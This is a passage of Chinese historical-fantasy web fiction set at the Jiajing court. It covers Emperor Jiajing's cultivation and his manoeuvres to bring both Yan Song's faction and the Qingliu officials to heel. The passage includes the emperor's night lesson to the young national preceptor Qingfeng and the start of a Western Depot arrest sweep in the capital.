但那些清流,往往都是胜利一方,都是以当朝胜利者的身份笑到最后。 结果到了新朝,被清算的时候,一查一个巨贪! “同时处理我严家和清流?” “不,与我严家一样,清流也不会被彻底清算,因为陛下还要用人,还要天下安定!” “帝王之道,讲究的就是制衡。” 严嵩大脑飞速运转,他已经抓住了关键,“陛下要对清流下手,肯定是掌握了证据。” “这个时候,清风的出现,就相当于是给他手里递了一把专门砍清流的刀!” “而从今以后,清风就会是天下所有人眼中,魅惑君王的妖女,妖道。” “一切都是妖道祸国,魅惑君王,陛下是被蛊惑的!君臣之情,永远不会有裂痕!” “他们会这么虚伪的说。” “轰隆!” 无声中,似有惊雷炸响。 “呵,呵呵……”突然,严嵩哼笑起来,而后整个人便很是舒坦的躺了下去。 “好啊,好啊,我严家被困死了,正等着刀来剐宰,你清流也别想躲开这一刀!” 自己的不幸固然可悲,但他人的不幸更能用来平衡心理,聊以自慰。 简言之,我过的不好,但想到你也会不好后,那我也就放心了,至少很公平。 不患寡而患不均,这就是严嵩此刻的心态。 “……” 第二十五章 少女幼小心灵遭了暴击 “干爹。” “嗯,回去歇着吧,这里有我。”吕芳拍了拍黄锦的肩膀。 “哎。”应了一声,黄锦紧了紧身上的裘袍子,带着两个小太监大步离去。 夜色沉沉,雪已经停了下来。 但空气中的寒冷,越发的刺骨,守在宫门口的太监,一个个都冻得发抖。 “都好生值守,明個儿内官监自会给你们增添衣物。”吕芳说着,也不管身后几个小太监的道谢,抬脚进了大殿,带上了门。 精舍中,嘉靖闭目打坐。 实则是在脑海中,观察着整个残破的大明朝。 “财政危机,搜刮清流和严党,应该可以让国库暂时肥起来。” “但这笔钱首先就要用于军需!” “长期的战事,特别是在北方边境,必须要好好维护才是。”一挥手,沙盒上的大明陡然放大,然后来到边境。 漫天大雪。 孤立的城门,军营里冻的鼻青脸肿的大明边军将士。 “还有东南沿海的倭寇、海盗。”心中一动,东南一角放大,看到了山野丛林里,窝着的一伙倭寇,还有当地商贾的交易。 “土地兼并问题。”嘉靖呢喃自语着,“土地兼并,大量土地掌握在大地主的手中,逃避税赋,导致税收减少……” “如今的大明,军户数量膨胀,军田分配越来越少。” “军户不再耕种军田,而是将其出租或出售,卫所制度下的经济基础已经崩盘。” “再加上军田被地方豪强不断的兼并,我大明军队彻底没了自给自足的能力。” “许多军户转而从事其他行业,军队的战斗力和纪律性随之下降,甚至……”轻轻一挥手,视角来到大明某处空地上。 战马嘶鸣,火把冲天。 一道道利箭将几个向前冲的将士射杀,之后扒了衣物,靴子后,赤条条的就地掩埋。 “已经出现了逃兵。”轻声说着,嘉靖背着手的一只拳头,微微攥紧。 “钱,朕要很多很多,可持续收入的钱,解决了财政,就能解决很多连带问题……” “先简单粗暴的弄上一笔钱,解决了最重要的军需之后,再整顿吏治,维稳财政……” 心中想着,又在几处黑气飘荡之地看了一会后,嘉靖轻叹一声,退出了识海。 “交代的事情都吩咐下去了吗?”睁开双眼,嘉靖缓声问道。 吕芳上前一步,微微欠身,“回主子,都吩咐下去了,陆炳已经出发浙江。只等他把所有罪证弄到手,西厂这边就会行动。” “约莫所有的事情操办停当,半月左右。” 毕竟不会把名册上的所有人都抓起来,所以倒也用不了太长时间。 而且这次的重点是拿严党和清流开刀,逼他们出钱,可不是抓人。 “主子,还有个事,”吕芳说着,语气中带着笑,“国师可能会在今晚三更过来……” 然后,吕芳就把清风对黄锦说的话,说了一遍,等待着嘉靖的反应。 “呵呵。”听完吕芳所说,嘉靖不由失笑,道:“这丫头,聪明是聪明,但也太过……”嘉靖语气一顿,似是在找贴合的词。 “善感?”身为忠仆,吕芳在说笑的时候,倒是可以插话的。 “嗯,”嘉靖抬了抬手指,赞许道:“不错,这个词很适合她。” “那,主子?”吕芳询问的看向嘉靖。 “国师夜半三更,不辞辛苦的要来助朕修行,岂有拒之门外的道理?” 说完,主仆二人对视一眼,而后都笑了起来,一切尽在不言中。 国师一心为国,泼天的恩赏,也不为过。 “以后麻烦事多着呢,你多照顾着点。”想到那单纯的小姑年,嘉靖提了一嘴。 “奴婢省的。”吕芳微微颔首。 嘉靖开始闭目打坐,冥想,吐纳,稳固着修为。 吕芳则是立在一旁,静静的守着炉子,不让暖气泄了。 “主子的心思,越发的深了。”吕芳揭开火炉,投放木炭,火光照亮他的面庞。 “主子觅得仙缘,已然踏上长生路,之前陶仲文,蓝道行之流,丹药显然有问题。可主子身体好了以后,却毫不动怒。” “要是依着主子先前,易暴易躁的性子,道门上下,恐怕都要经历一次血洗。” “然而,主子却忍了下来,如今这颗棋子,却是变成了主子手里的刀子……” “一把砍向清流最好的刀。” 夜黑的紧。 “咚,咚咚。”一慢两快,宫门的更鼓声响起,夜已至三更天了。 寒风呼啸,凄厉刺骨。 饶是此刻殿门紧闭着,依旧能感受到从门窗缝隙渗进来的刺骨寒气,窗外像是有什么在狠拍打,冲撞着殿门,听的让人心惊。 “时间到了?”嘉靖睁开了双眼。 “回主子,到三更天了。”正在一旁的另一个火炉上,煮着汤的吕芳笑着,道: “国师果然不同凡响,奴婢这参汤也好了,早了火候欠妥,晚了药效流逝。” “你这老东西。”嘉靖笑着从精舍中走出,伸了个懒腰,凑到砂锅边嗅了嗅,用手往自己鼻子前扇了扇,一股浓郁药香涌入口鼻。 “这是李时珍开的驱寒方子。”吕芳笑着道。 “嗯,味道不错,不愧他神医的名头。”说着,嘉靖拿起碗勺,给自己盛了一碗。 “主子,当心烫。”吕芳伸长了脖子,看着嘉靖把热汤凑在嘴边。 “吸溜。”嘉靖吹着热气吸溜了一口,入口略涩后,品尝后却有甘甜留于唇齿。 “嗯?”嘉靖指了指手里的汤,“不错。” “陛下,国师求见。”这时,大殿门口,响起小太监的禀告声。 “来了。”嘉靖看向吕芳,主仆相视一笑,吕芳微微欠身,转身离开。 从偏殿走廊而出,来到大殿。 与偏殿暖烘烘不同,大殿空旷,虽然也有火炉,却偏冷。 “呼!”一开门,顿时一股寒风迎面袭来,风雪中,少女瘦瘦弱弱的身子发着抖。 “国师?快快请进!” 看着头发凌乱,脸蛋冻得发红,身子发抖的清风,吕芳赶紧错开身,让她进来大殿。 看向殿外那两个同样鼻青脸肿的小太监,吕芳心有不忍,于是挥了挥手,道: “都退下吧,去班房找人换你们,回去了喝口姜汤暖暖身子。天寒地冻,打今儿起,每两个时辰,换一班人来,彼此帮扶着点。” “谢老祖宗,谢老祖宗。”两个小太监顿时感激涕零。 “去吧。”摆摆手不理会二人,吕芳关上了门,对一旁依旧有些发抖的清风,道: “国师请随奴婢来。” 一进偏殿,阵阵明显的暖意袭来,迅速包裹全身,让清风下意识的打了个颤。 然后就见精舍边上,那身穿白色道袍,长发束于脑后,背对着她的高大身影。 嘉靖拿着木勺,轻轻搅拌着砂锅里的参汤。 “主子,国师到了。”吕芳上前,微微欠身。 “哦?”嘉靖把木勺递给吕芳,疑惑的转身,看向清风。 一张白皙的鹅蛋脸上,脸颊通红。 小巧的鼻尖也是红红的,透了一般,热气包裹下,两只耳朵红的像是煮熟的虾。 她双手揣在袖口里,不时的抽抽鼻子。 “这么晚,国师找朕,所为何事?”忍着笑意,嘉靖故作不解的询问。 “清风奉命前来,助陛……嗯?”正要说是来助陛下修行的清风,话刚到口,不由一愣。 小口微微张开,错愕的看着嘉靖。 那小模样,就像是在说:什么情况?难道是我会错意了吗?陛下白日午时,拍了我脑袋三下,不是让我晚上三更前来修炼? 就是随意的拍拍,根本没有特殊意义? “咕嘟,咕嘟,咕嘟。”火炉上,砂锅里参汤冒着热气,此刻沉默像是把快刀,无情的插进了少女幼小单纯的小心脏。 吕芳低着头,边用木勺搅拌着砂锅里的参汤,双肩像是触电般,不停的抖动。 “……” 第二十六章 授课,培养,群臣议论! “国师怎么了?” 嘉靖上前,看着只长到自己心口位置的少女,疑惑的问道。 “吸。”清风吸了口气,低下脑袋,抿了抿小口,微微欠身作揖礼,小声道:“回陛下,清风会错天机,搅了陛下清梦……” 一张被冻得白里透红的鹅蛋脸,迅速充血,红扑扑的像个苹果。 嗯,她现在恨不得找个地缝钻进去,同时心头又开始了一阵祷告。 “玄元太乙,三清尊神。请垂听我,此诚心言。弟子虚言嗜怨,实乃罪过,罪过……” 太丢脸了,尤其是想到自己信誓旦旦的对那黄公公的一套说辞…哎!太轻狂了! “你会错什么天机了,给朕说说?” 嘉靖见她低着脑袋当鹌鹑的样子,微微俯身,朝她瞅去。 “我!”清风抬头,一张口,看到嘉靖威的面孔,还有那探究的威严目光后,只好羞耻的撇过头,小声道:“今天……” “吭哧!”像是谁的裤裆裂开了,原是吕芳笑出了声,终于嘉靖也是被逗笑。 “嗯。”看着低下脑袋,一副我很丢脸的清风,嘉靖抬起大手,不轻不重的压在她头上。 “嗯?”感觉到自己的小脑袋,被一只温暖的大手盖住,清风不由抬起,眨了眨明亮的大眼,不明白陛下这是什么意思。 嘉靖嘴角含笑,又拍了拍她脑瓜三下后转身,“给这丫头盛碗汤。”说话的功夫,已经踏上道台,步入精舍坐了下来。 “国师,来,喝点参汤暖暖身子,去去寒气。”吕芳把一碗热腾腾的参汤递给清风。 “谢谢吕公公。”清风双手接过,捧着药碗微微欠身道谢。 吕芳又从一旁搬来一张凳子。 看了眼上方的嘉靖,清风这才眨着扑闪扑闪的大眼,喝了一口参汤。 热气在面前升起,为她长长的睫毛铺上一层水雾。 暖流入腹,让她下意识的哈出一口气,这汤味道怪怪的,却莫名的好喝。 “是不是觉得自己做错了?”嘉靖开口。 “嗯,”清风认真的点头,“清风不该自以为是的揣摩圣意,还请陛下恕罪……” “呵呵,”嘉靖轻笑着一摆衣袍,换了个坐姿,道:“山下可不比山上,你天资聪颖,善感万物,对生存之道早早洞悉……” “但有些东西,是要经历过,才能明白的。”嘉靖说着,用手指了指脑袋,“光有一双慧眼,聪明的脑袋,还远远不够。” “之前你是在山上观天下。现在你是在天下观天下,靠的是切身感受。” 听到嘉靖这么说,清风放下心里的尴尬,眨着明亮的眸子,认真听了起来。 “从小你就是天才,山上有师父师兄护着。首次下山,又有严嵩护着。” “到了朕身边,你用自己的不凡,小小年纪就为自己赢得了无数道门之人,修行一生都不容易获得的尊号,身份尊贵如道门领袖。” “十六岁的大明国师,”嘉靖指着清风,笑看向吕芳,“纵观史书,有几人比肩啊?” 吕芳微微欠身,含笑看着愣住的清风。 “甘罗十二岁拜相,伱是除他之外的,古来第二人,这些都让你迷失了自己……” “而你,却是毫无察觉!” “一双慧眼,什么都没能看见!” “轰!”最后一句话,犹如洪钟大吕,让清风心头大怔。 看着若有所悟的少女,吕芳目露赞许之色。 一把能砍清流的好刀,陛下显然不打算用一次就丢。 “大明国师……”吕芳心头呢喃自语。 嘉靖看着皱着眉头,似是有所明悟的清风,袖袍一摆,撑着膝盖,身子略微前倾,肃容道:“可是在想,如何分辨?” “是不是在想,朕说的这些东西,实在虚无缥缈,却又似乎有迹可循。” “道理似乎就在眼前,但就是抓不住?” 听到嘉靖的话,清风抬起头,认真的点了点小脑袋。 看着她一副懵懂的模样,嘉靖肃容道: “记住了,这天下任何有形之物,都有迹可循,唯独人心,是要用心感受的。这些东西,是你在山上学不到,也看不到的。” “要用心感受……”清风喃喃自语。 “今天朕就教你第一课,”嘉靖笑着道:“就比方说你今天给黄锦说的天机。” 听到皇帝陛下要授课,清风小脸绷紧,下意识的坐端正身体,一副认真听讲的模样。 “你说的那番猜测,虽然错了,但要记住,永远不能在别人面前承认。” “否则就会有损你身为国师的威严……你是大明国师,代表的是大明……” 殿外寒风呼啸,殿内授课声不停。 嘉靖在培养着自家单纯的小国师,时间飞快,转眼一夜过去,天已大亮。 偏殿书房,少女趴在桌上发出匀称的呼吸,手里还攥着一支笔,洁白的宣纸上画了长长一道。 “主子,难为这小家伙了。”吕芳跟嘉靖站在桌边,亚低声笑着道。 雪停了,暖阳从窗户照进来,道道光线中,尘糜滚动。 一袭白衣道袍的嘉靖俯身端详着少女。 看着她睡觉时,不时吧唧嘴的模样,顿觉有趣儿,伸出手指戳了戳那小鼻子,又拨弄了一下那小唇,却被她一吧唧嘴差点咬住。 “呵!”嘉靖轻笑一声转身,同时对吕芳摆摆手示意不要惊扰了她,转身离开。 国师深夜三更入了玉熙宫,再未出来。 一道消息,从玉熙宫中流出,迅速像是长了翅膀一样,飞入了清流跟严党的耳中。 皇宫。文华殿外。 通往东侧的东华门,宫墙夹道上,内阁众人以及一众大臣们,陆续往外走着。 一般情况下,比如大朝的时候,官员都是从午门进出,但嘉靖几十年不上朝。 内阁开会一般都是在文华殿内。 所以大家进出,走的都是较为简单快捷的东华门。 东华门走在最前面的,自然是被八抬大轿抬着的严嵩,和伴随在他身边的严世蕃等人。 而在严党身后,则是徐阶、高拱张居正等一干清流。 在两拨人身后,还有六部的一些官员。 改稻为桑是国策,并且还是可持续的财政收入,内阁自然是要六部一些人也参与讨论的。 不过此时,众人讨论更多的则是另外一件事。 那位十六岁的少女国师,昨夜入了玉熙宫,并且一晚上都没有出来。 “爹!”严世蕃神色激动,快步跟在轿子边,压低着兴奋的声音,“清风丫头成了!” 轿子里,严嵩闭目坐着,不发一言。 “没想到,那丫头单纯的像一张白纸,却有这本事,着实令人心惊,莫非陛下换口味了?早知道陛下喜欢这种小兔子,早安排了……” “爹您放心,给清风丫头安排的贴身道童都准备好了,嗯,都是女的!” “清风得圣宠,我严家地位更巩固了!” 而在严世蕃身后跟着的其他严党一系,此时也是各個挺胸抬头,昂首阔步。 对清流那叫一个蔑视! 现在谁人不知,新晋国师那是严阁老的亲信?被严阁老当亲孙女养的? 如今国师大人入了玉熙宫,贴身伺候,这说明什么?说明严阁老依旧圣眷正浓! 之前清流传出严党改稻为桑的国策被陛下打断,亏空巨大,陛下要对严党动手,让严党一系可以说是心惊胆战了好几天。 结果,现在就传出了好消息。 真是天不绝人之路,帝心在严啊! 与严世蕃的兴奋不同,清流一党此刻各个咬牙切齿,低声咒骂着。 “果然是妖女!”高拱怒声道:“老夫定要参那严嵩和妖女一本!” “肃卿,慎言!”张居正低喝一声。 他已经看出了,这件事背后可能水深的厉害,扑朔迷离,已经不敢再妄言。 “徐阁老,可是要去裕王府?”张居正看向主心骨,询问道。 “我今日身体不舒服,就不去了,代我向裕王问好。”徐阶微微摇头拒绝。 “徐阁老……”张居正还想说什么,徐阶却已经俯身进了轿子里。 一众清流此时都簇拥在了张居正、高拱等人身边。 张居正看着远去的轿子,心中涌起一股深深的不安,仿佛置身于一只大手上。 一双冰冷深邃的眸子,正看着所有人。 “……” 第二十七章 蓝道行 京城外。 一片浓雾缭绕,似是有仙家隐居般的山谷周围,环绕着翠绿的松柏。 远处山脉连绵起伏,阳光落下,有云雾缭绕,营造出一种超凡脱俗的氛围。 一顶轿子沿石阶小路向上,来到一片开阔地。 一座气势恢宏的道家宫殿伫立在此。 黄色琉璃瓦覆盖的屋顶,朱红色的梁柱和墙体,精致的斗拱、檐角雕刻栩栩如生。 玄元殿。 如今朝中最得宠的道士,蓝道行,传闻中的蓝神仙的道场。 嗯,说是现如今最得宠已经不太贴切了,如今最得宠的应该是那位十六岁少女国师。 玄元殿的宫殿群落由主殿、偏殿、斋房、藏经阁、炼丹房等多个部分组成。 主殿供奉的道家仙神,偏殿则用于日常修行,斋房则是道士们用餐和休息的地方。 此时,偏殿内,大门紧闭。 一袭绸缎便装的徐阶,坐在上首位置,身旁的中年道士,脸上却挂着淡淡的笑容。 一张脸儒雅,颇有几分仙家气度。 这道士不是别人,正是人称蓝神仙的蓝道行。 一介散修道人,在嘉靖三十四年,得徐阶引荐,从此平步青云。 成为这大明朝无人不知晓的蓝神仙。 “徐公此行,可是为了宫里那位,清风玄灵守真慧悟真人而来?”蓝道行看向徐阶。 “不错,”徐阶微微点头,轻叹一口气,道:“我有些猜不透陛下的心思了……” 都是聪明人,对于清风的事,大家都心知肚明,自然不需要再故作客套。 闻言,蓝道行则是微微一笑,眼神深邃,仿佛洞察天机,缓缓开口道: “徐公何须多虑?” “天道莫测,却自有其道。” “圣明天子,陛下代表的就是天道,心中所思,非人力所能及,亦非人力所应及。” 蓝道行停顿片刻,见徐阶神情稍显放松,便继续说道:“道生一,一生二,二生三,三生万物。世间变化,皆循大道。” “我等虽居庙堂之高,亦当顺天应人,随缘而动。真人之名,非空穴来风,实乃天意昭昭,预示着圣上对贤才的渴求与信任。” 说话间,蓝道行轻轻拂袖,似是要拂去尘世的纷扰,声音中带着几分禅意。 “若问前程,不妨观水。” “水至柔而能穿石,至弱而能载舟。” “君子之于事,亦当如水之于物,顺应而不争,待时而动。圣明天纵无过陛下,陛下定会明辨忠良。” 最后,蓝道行的目光转向窗外,仿佛透过重重迷雾看到了未来的景象般,语气幽幽。 “风云变幻,正是英雄用武之时。” “吾观天象,紫气东来,吉兆已现。徐公但放宽心,只需做好本分,余者皆交由天意。” “道法自然,方能无往不利。” “呵,”徐阶深吸口气,苦笑一声,“道长此番言语,倒是让老夫宽心不少。” “老夫也明白道长的心意。”说着,徐阶低眉垂目,也不看蓝道行,但身上却有股莫名的气势,他语气幽幽,道: “天意莫测,未知总是让人恐惧。” 蓝道行的意思很明确,皇帝肯定不会搞掉你,你放宽心。 徐阶的意思也很明确,就算知道皇帝要动手,也不会太狠,可皇帝突然的举动,让他不安,皇帝的真正目的是谁! 偏殿里陷入了良久的沉默。 蓝道行缓缓起身,踱步至窗前,凝视着窗外飘渺的云彩,眼神中有无奈之色浮动,他知道自己别想置身事外了。 片刻后,他转过身来,目光变得平静而深邃,语气中带着一种超越世俗的淡然: “徐公,天地间之事,犹如浮云聚散,瞬息万变。然而,凡有所成者,必有其根基。” “公之德行,朝野共知,非是一朝一夕所能动摇…徐公请随我来。” 说话间,带着徐阶来到案边,取出了一个精致的铜盘,上面刻有精致的八卦图案。 “徐公,道家有云,‘知其雄,守其雌’。有时,最直接的路反而隐藏在最不起眼之处。” “公于贫道有恩,既然公心中有疑,那贫道便借助天机,以道术为公解惑。” 徐阶闻言,眸中精光一闪,神情突然轻松了下来。 蓝道行点燃了三炷香,而后开始闭目默念咒语,声音低沉而悠扬,如同古老的呼唤。 随后,他轻轻地将铜盘置于案上,手指在盘面上划过,每一次触摸,都似乎在与天地间的某种力量在交流一般。 只见铜盘上,那些小石子在他的指引下,跳跃、旋转,形成了一幅幅玄妙莫测的图案,仿佛在诉说着不为人知的秘密。 一番操作之后,蓝道行转过身,对徐阶微微欠身。 “徐公,道术虽妙,却也需机缘巧合。” “贫道将择一吉时,以道术试探天意,或许能从这浩渺的星河中窥得一二天机。” “只是此事需极密,不可外传,以免破坏了这份难得的宁静与和谐。” 此行目的达到,徐阶点头,道:“今日有幸得聆高论,真乃人生一大幸事。” “天色已晚,不宜久留。在下深知道长修为高深,不宜多扰,在下就此告辞。” 蓝道行微微颔首,表示理解和接受。 在徐阶离开后,蓝道行站在玄元殿的阴影中,望着渐行渐远的轿子,心中五味杂陈。 “天地间,万物皆有定数。” “然而,当人被命运推至风口,又有几人能真正掌握自己的航向?” 轻声自语,却透露出了一丝悲凉。 他深知自己虽披着道家高人,蓝神仙的外衣,但在朝堂的博弈中,不过是被各方势力利用的工具,就像是他拒绝不了徐阶一样。 这世道,不是仙,那就是人! 是人,就别想在权力面前,谬谈自由。 蓝神仙?呵!蓝道行心头轻蔑的笑着,笑自己这所谓“神仙”的名头的可笑。 “玄元太乙,三清尊神。” “请垂听我,此诚心言。” “弟子身陷纷扰,心求安宁,愿尊神护,保我康宁。” “……” “世事如梦,我心似镜,愿神光照……身不由己,愿力可凭,祈神指引,避险趋平。” “……” “尊神庇佑,愿我身安。” 祷词声低沉肃穆,仿佛能穿透殿宇,直达九霄。 蓝道行立于玄元殿中心,窗外明媚的光亮照落,投下斑驳的树影,将他的身影包裹。 随着日头升空,西斜。 一股刺冷的寒意包裹了整个大殿。 “……” 第二十八章 答题结束,清流也老实了,练气二层! “主子。” 吕芳放飞鸽子,取下纸条看了看,待到桌前嘉靖手中笔停下后,这才上前,递上纸条。 “玄元殿来的消息。” 嘉靖接过纸条仅仅是扫了眼,就递给了吕芳,推开大殿另一侧的窗户,望向宽广的太液池。 “一向凶狠的狼,躺平露出了肚皮。有趣的是,向来都标榜任劳怨的牛儿,却难得的竖起了犄角,露出了‘獠牙’……” 嘉靖的话,有些意味深长。 “不管是狼,还是牛,在主子真龙面前,都是要趴着卧着的。”吕芳意会竹子的心思,笑着附和。 嘉靖笑了笑没有说话。 接下来的几日,京城又开始下雪了。 朝中,不论是严党,还是清流,都好像淡忘了之前的一切,变得极为安静。 从年前周云逸被打死,再到陛下下罪己诏,瑞雪降下,之后严党为填补亏空,推出改稻为桑的国策被七条辅策钉死,似乎必死之局。 突然,陛下又接受了严党送入宫的少女国师,一切开始变得扑朔迷离。 清流一党,张居正等人已经惊觉,陛下这次可能要动的不光是严党,还有他们。 一时间,朝中但凡是嗅觉敏锐的大臣,都开始谨小慎微,让这个冬天变得愈发萧瑟。 “来消息了。”裕王打发了太监后,转身步入偏殿,看向徐阶道:“李时珍检测出,蓝神仙之前敬献的丹药存在问题。” “蓝神仙被下了诏狱!” 听到这话,徐阶的脑子当场就“嗡”了一下,身子也不自觉的晃了一下。 “徐阁老!”张居正发出一声惊呼,众人见此也都围了上去,满脸的担忧之色。 “殿下,宫里可还传出话来?”徐阶摆摆手,示意自己无碍之后,看向裕王。 裕王轻轻摇了摇头,正欲开口回答,却见一个小太监立刻进来禀告,“殿下,司礼监的黄锦公公来了,还带来了宫里的口谕。” 众人闻言,皆是一怔。 “请进来!”裕王说着,走向门口。 徐阶等人对视一眼后,也默默的跟在了裕王的身后,等着黄锦。 不多时,身穿红色裘袍的黄锦,带着两个小太监走了进来,他手上托着一幅卷轴。 “殿下,”黄锦的声音带着几分恭敬,而后看着裕王,微笑道:“陛下口谕。” 至于裕王身后的徐阶等人,全当没看到。 “儿臣听旨。”裕王闻言,当即错开身,示意黄锦站在主位,宣读口谕。 他自己则是带头直接跪了下去。 “口谕,”等到所有人都跪好后,黄锦这才开口,道:“朕听闻裕王近来勤于政务,心系天下苍生,甚感欣慰。” “特赐《清明上河图》一副。”话毕,黄锦将手里的卷轴双手俸给裕王。 “殿下,口谕和赏赐已经送到,奴婢就先回去了。” 听着这简单到等同于说,送你一幅画,就没下文的口谕,裕王愣了一下,不过还是很快反应过来,招呼道:“来人,送黄公公。” 黄锦走后,大殿中,陷入了沉默。 裕王看了眼众人,将手中的《清明上河图》递给了张居正和赵贞吉二人。 赵贞吉和张居正一左一右拉开了图画。 看着图上,栩栩如生的北宋汴京的繁华绘图,众人都沉默了下来。 此时,他们根本无心欣赏。 在场都是聪明人,前脚宫里传出消息,蓝道行被下了诏狱,后脚跟着陛下就给裕王送来一副《清明上河图》,意思很明显了。 清明上河图,最大的特点是什么?就是每一处细节,都被精心的描绘过。 在场几人都明白,皇帝这是在告诉所有人,他对朝政的每一個角落都了如指掌,任何试图瞒天过海的小动作,都难以逃脱他的洞察力。 下意识的,众人都看向徐阶。 尤其是徐阶,看着《清明上河图》,心中五味杂陈,深知这是一份沉重的警告。 此图的深意,众人都知晓。 其次,就是专门敲打他徐阶的! 这幅《清明上河图》是严嵩收藏的,作为老对手,他是知道的,可这幅图现在却被皇帝用来当着他的面,赐给了裕王。 皇帝这是在告诉他,面对同样的一道题,严嵩跟他的选择,完全不同。 皇帝想要的答案,是他们的态度! 他用蓝道行试探的行为,皇帝很不满意,所以答错题的代价,就是蓝道行被废掉。 如果再有下次,那他徐阶便如那昔日繁华的汴京一般,成为过去。 “是时候告诉他们了,”想着,徐阶给张居正等人使了个眼色后对裕王告辞,“时候不早了,臣等就先行告退了。” 裕王收起《清明上河图》后,也不再强留几人,他心里此刻也有些毛毛的。 父皇敲打徐阶,自己会不会因此受到牵连,对他不满? 怂怂的裕王也不敢再留这些人,于是顺势就答应了下来。 他也感觉到了,父皇在下一盘棋,自己还是安分点,别轻易搅合进去,水太深了。 他没资格跟父皇下棋。 众人从裕王府出来,行至一处空地。 此时城府和谋略还有余地的张居正,率先开口,“徐阁老,陛下的意思是?” “陛下给我们和严党,共同出了一道选择题。”徐阶目光冲皇宫方向看去。 闻言,众人心头一沉。 官场的“选择题”,自然不是单纯意义上的选择对错那么简单。 “错了?”张居正心头一紧,知道自己问了句废话,又追问:“答案是什么?” “态度。”徐阶话音一落,张居正身体一怔。 赵贞吉面皮抖了抖。 一旁的高拱张了张嘴,半晌后“哎”的一声,化作重重的叹息! 严府,书房里。 “爹,陛下怎么把《清明上河图》赏给了裕王?这会不会是某种信号?”严世蕃看着严嵩,问道:“要不要告知殿下一声?” “答题结束了,”严嵩抬头斜睨了严世蕃一眼,“世藩,去备上好酒好菜,好吃他一顿。” “爹?什么答题结束了?”严世蕃看着心情,突然变得这么好的老爹,一脑袋雾水。 “考试结束了,爹我是状元!”严嵩脸上露出自得的笑,而后也不废话,开始给严世蕃解释了起来,“从御前财政议会开始……” 好半晌后。 严世蕃吸了口气。 一时间,后背竟渗出了一片冷汗出来。 他没想到这几日,竟是如此凶险度日不自知,看着笑吟吟的老爹,吞了口口水。 “爹,这么说,清流要废了?” “哼,”严嵩哼笑一声,不置可否,“选择题,有很多种选择,哪一种都是答案。” “但陛下想要的答案只有一个!” “洞察到陛下可能要对我们和清流同时出手,我选择的是引颈受戮。” “徐阶选择派蓝道行去试探陛下意图。” “他的目标是获取更多信息,试图在不确定的局势中,寻找最有利的立场。” “然后,他才会去安心答题。” 听到这里,严世蕃若有所思,道:“可是爹,他应该明白,陛下不会真的动清流吧。” “毕竟,我们都没动,为了制衡我们,肯定不会动他才是,他何必如此?” “大礼议。”严嵩淡淡说了三个字。 严世蕃一怔,张了张口,而后恍然大悟,旋即哈哈大笑,道:“君臣猜疑!” 大礼议后君臣猜疑越发严重了起来,嘉靖对传统士大夫阶层越发不信任,担心他们联合对付自己。 虽然当时的徐阶是年轻官员,不在风口浪尖,但身为后时代的清流代表,猜疑却延续了下来。 嘉靖选择重用严嵩,阉宦,导致跟徐阶等清流为首传统文人士大夫间的不信任,猜疑日益严重。 所以,由不得徐阶多想。 “清流屁股也不干净,他们担心的是,陛下看似要对咱们和清流一块动手,但实则是还是为了对他们这些清流下手!” “毕竟,咱们是奸臣,脏事陛下都清楚,要踩死随时能踩死,没道理大费周章。” “所以,他担心的是,陛下真正的目的,其实是要对他们这些清流动手,但又不确定,所以蓝道行就是去给他试探答案去的!” “不错,”严嵩投去一个赞许的眼神,然后道:“从某种角度看,他得到了答案。” “不过是陛下亲自告诉他的,而在得到答案的一刻开始,也意味着答题结束。” “在陛下眼中,理想的“答案”应该是无条件的服从和忠诚,即接受他的任何决定,正如我严家所表现出来的态度。” “我选择引颈受戮,是对陛下绝对的尊重和服从,即使这意味着沉痛的代价……” “而徐阶让人试探的行动,说明他有自我保护和反抗的意识。” “但这会被陛下视为对皇权的挑战。” “他给了陛下的印象是不够忠诚和服从,这与陛下期望的“正确答案”相悖。” “清流?老毛病了!”严世蕃冷哼一声,“食君俸禄,不忠一家一姓,忠百姓?” “哪个皇帝能忍受得了?” “他真要忠百姓也倒罢了,当了婊子立牌坊。呸!有今日,都是活该!” “那接下来,清流也要学乖了,等着挨刀子了,陛下不会太狠吧?”严世蕃问道。 他还是不知道陛下会怎么弄他们。 “去吧,备酒菜,好吃好喝的都拿上来,吃个痛快,吃个痛快啊……”严嵩大声道。 严世蕃没得到答案,又见老爹这一副模样,只当他是开心,也笑着转身去备菜。 “呵,呵呵……”严世蕃离开后,书房里严嵩坐在榻上,突然失笑。 “吃,好好吃,好好吃一顿……” 西苑,玉熙宫里。 “呼!”精舍纱帐鼓荡后,倏然平静,嘉靖双眼睁开,眼底精光闪过,嘴角含笑。 “练气二层了!” 低头看了眼已经空空如也,装着灵源的瓶子,心中暗道一声,“与预期相符!” “严党和清流也都乖了。” “收完账,安排好军需用度,差不多也将近半月了。” “修仙世界的开辟战争也该结束了……” 一切,都在有条不紊的按照计划进行着。 “……” 第二十九章 动手(求追读) 嘉靖四十年,正月十八,傍晚。 西苑,玉熙宫,嘉靖背着手,站在窗前,目光平静的望着远处的太液池。 一道红日落下,太液池就像是被人用朱笔划了一笔般,将巨大的湖一裁为二般。 在他身后,摆放着一张长长的木桌。 只见在木桌上,整整齐齐的摆放着十一沓奏本。 “踏、踏、踏。” 急促的脚步声响起,小太监快步将一本奏本递给等在门口的吕芳。 “老祖宗,锦衣卫的奏本。”小太监声音急促,吕芳接过奏本摆摆手,示意他退下。 “主子,最后一本奏本,快马加鞭的送到了,江浙两地的一些人也都被控制,”吕芳将第十二本奏本放下,“眼下只剩下京师了。” “动手吧。” 目送那湖面上的红色消失,嘉靖大袖一摆,转身进入了精舍之中。 “是!”吕芳应了一声,来到玉熙宫外,招来小太监,道:“告诉陈洪,可以动手了。” “是。”小太监大步而去。 …… “咚!咚!咚!” 暮鼓声声,宵禁开始,此时,夜色已彻底降临。 “快,快,快!” 一队西厂太监浩浩荡荡的从东安门冲出,火光冲天。 已经掩住门窗休息的百姓,被这突如其来的骚动惊醒,小心翼翼的在窗口窥探。 从高空俯瞰,夜色中,火光宛若一条巨大的火龙,从东安门出,而后在星罗棋布的街道散开,最后涌入各处。 就像是注满了火油一样。 火龙涌入的瞬间“哗”的一下铺开。 一条条横竖笔直纵横的光线,将京师画成了一张硕大的棋盘。 “督主!”东安门前,身穿红色裘袍,神色冷冽的陈洪背着手走出。 立在两旁,装备精良的西厂太监躬身行礼。 “哼,”陈洪冷笑一声,向前一挥手,“按名单拿人,都记住了,先斩后奏,皇权特许,如有反抗,一律格杀勿论!” “是!”在身后一众太监的附和声中,陈洪俯身准备进轿,突然微微一顿,直起身看向天上的朗月,“当真是个清朗的夜。” 说完,进了轿子。 “起轿。”浩浩荡荡的西厂太监,驶入京师达官显贵的居住区域。 兵部侍郎,王崇古的府邸。 